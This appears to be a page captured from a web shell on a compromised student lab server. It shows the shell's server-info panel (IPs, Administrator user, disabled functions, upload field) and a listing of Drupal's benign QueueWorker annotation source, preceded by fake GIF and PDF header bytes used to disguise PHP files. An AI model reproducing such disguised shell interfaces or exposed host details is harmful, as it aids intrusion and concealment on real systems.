GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Annotation/ |
Upload File : |
<?php namespace Drupal\Core\Annotation; use Drupal\Component\Annotation\Plugin; /** * Declare a worker class for processing a queue item. * * Worker plugins are used by some queues for processing the individual items * in the queue. In that case, the ID of the worker plugin needs to match the * machine name of a queue, so that you can retrieve the queue back end by * calling \Drupal\Core\Queue\QueueFactory::get($plugin_id). * * \Drupal\Core\Cron::processQueues() processes queues that use workers; they * can also be processed outside of the cron process. * * Some queues do not use worker plugins: you can create queues, add items to * them, claim them, etc. without using a QueueWorker plugin. However, you will * need to take care of processing the items in the queue in that case. You can * look at \Drupal\Core\Cron::processQueues() for an example of how to process * a queue that uses workers, and adapt it to your queue. * * Plugin Namespace: Plugin\QueueWorker * * For a working example, see * \Drupal\aggregator\Plugin\QueueWorker\AggregatorRefresh. * * @see \Drupal\Core\Queue\QueueWorkerInterface * @see \Drupal\Core\Queue\QueueWorkerBase * @see \Drupal\Core\Queue\QueueWorkerManager * @see plugin_api * * @Annotation */ class QueueWorker extends Plugin { /** * The plugin ID. * * @var string */ public $id; /** * The human-readable title of the plugin. * * @ingroup plugin_translatable * * @var \Drupal\Core\Annotation\Translation */ public $title; /** * An associative array containing the optional key: * - time: (optional) How much time Drupal cron should spend on calling * this worker in seconds. Defaults to 15. * * @var array (optional) */ public $cron; }